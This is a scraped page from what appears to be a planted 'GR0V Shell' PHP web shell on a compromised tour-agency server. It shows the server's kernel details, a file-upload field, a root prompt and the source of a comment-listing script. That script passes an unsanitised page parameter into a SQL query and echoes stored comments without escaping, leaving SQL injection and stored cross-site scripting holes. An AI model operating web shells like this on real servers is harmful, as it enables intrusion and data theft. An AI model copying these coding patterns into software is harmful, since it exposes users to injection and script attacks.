? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/
File Upload :
Current File : /home/admin/public_html/old/show_comment.php

<html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <?
ob_start();
define('_JEXEC', 1);

if (file_exists(__DIR__ . '/defines.php'))
{
	include_once __DIR__ . '/defines.php';
}

if (!defined('_JDEFINES'))
{
	define('JPATH_BASE', __DIR__);
	require_once JPATH_BASE . '/includes/defines.php';
}

require_once __DIR__ ."/include/connect.php";?>
<link type="text/css" href="/templates/purity_iii/local/css/themes/happy/bootstrap.css" rel="stylesheet" media="all" />
<link type="text/css" href="/templates/purity_iii/local/css/themes/happy/template.css" rel="stylesheet" media="all" />
 <style type="text/css">
 .btn-all{
	 color: #333333;
    background-color: #00bae7;
    border-color: #adadad;
	 
 }
 .btn-all:hover{
	 color: #333333;
    background-color: #e6e6e6;
    border-color: #adadad;
 }
.bubble 
{
position: relative;
padding: 10px;
background: #FFFFFF;
-webkit-border-radius: 0px;
-moz-border-radius: 0px;
border-radius: 0px;
}

.bubble:after 
{
content: '';
position: absolute;
border-style: solid;
border-width: 0 10px 10px;
border-color: #FFFFFF transparent;
display: block;
width: 0;
z-index: 1;
top: -10px;
left: 50%;
}
    </style>
    </head>

    <body name="comment" style="background-image: none;padding-top:0;">

	 <?

$sql = "select * from ticket_activity order by id desc";
$query=mysqli_query($connect,$sql);
$row= mysqli_num_rows($query);
if($row==0)echo "<div style='text-align:center;color:white;'>ยังไม่มีการแสดงความคิดเห็น</div>";
$pages = $_GET['pages'];
$pagesizes=10;
$rts=$row%$pagesizes;
if($rts!=0)
{
	$totalpages=floor($row/$pagesizes)+1;
}
else
{
	$totalpages=floor($row/$pagesizes);
	$toppic_ids=1;
}
if(empty($pages))
{
	$pages=1;
}

$goto=($pages-1)*$pagesizes;
$until=$pagesizes*$pages;
$end=(floor($goto/100)+1)*10;
$start=$end-9;

for($i=$start;$i<=$end;$i++)
{
	
	if($i==$start&&$i>1)
	{
		$pre=$i-1;
	echo"<a href='$PHP_SELF?pages=$pre#comment' target='idIframe' class='btn btn-all' role=button'><</a>";
	}
	if($i>$totalpages)
    {
       break;
    }
	if($i!=$pages)
    {
       echo"<a href='$PHP_SELF?pages=$i#comment' target='idIframe' class='btn btn-all' role=button'>$i</a>";
    }
    else
    {
    	echo"<a href='$PHP_SELF?pages=$i#comment' style='background-color:#0077bb;color:white;' target='idIframe' class='btn btn-all' role=button'>$i</a>";
	}			
}
if($end<$totalpages)
	{
		$next=$end+1;
	echo"<a href='$PHP_SELF?pages=$next' target='idIframe' class='btn btn-all' role=button'>></a>";
	}
?><?
$sql_select=$sql." limit $goto,$until";
$sql2=mysqli_query($connect,$sql_select);

while($result=mysqli_fetch_array($sql2)){
  $id=$result["id"];
  $name=$result["name"];
  $answer=$result["answer"];
  $email=$result["email"];
  $date=$result["date_apply"];
?>
  <br><br>
 
  <div class="col-xs-12" style="padding-bottom:5px;">
<div class="col-xs-12" style="background-color:#00bae7;padding:10px;">
 <?
  echo "<span style='color:white;font-size:large;'>".$name."</span><br><span class='small'>".$date."</span>";
  ?>
  </div>
  <div class=" col-xs-12 bubble">
  
  <?
  echo $answer;
  ?>
</div></div>
  <?
}
?></body>
</html>

T1KUS90T
  root-grov@210.1.60.28:~$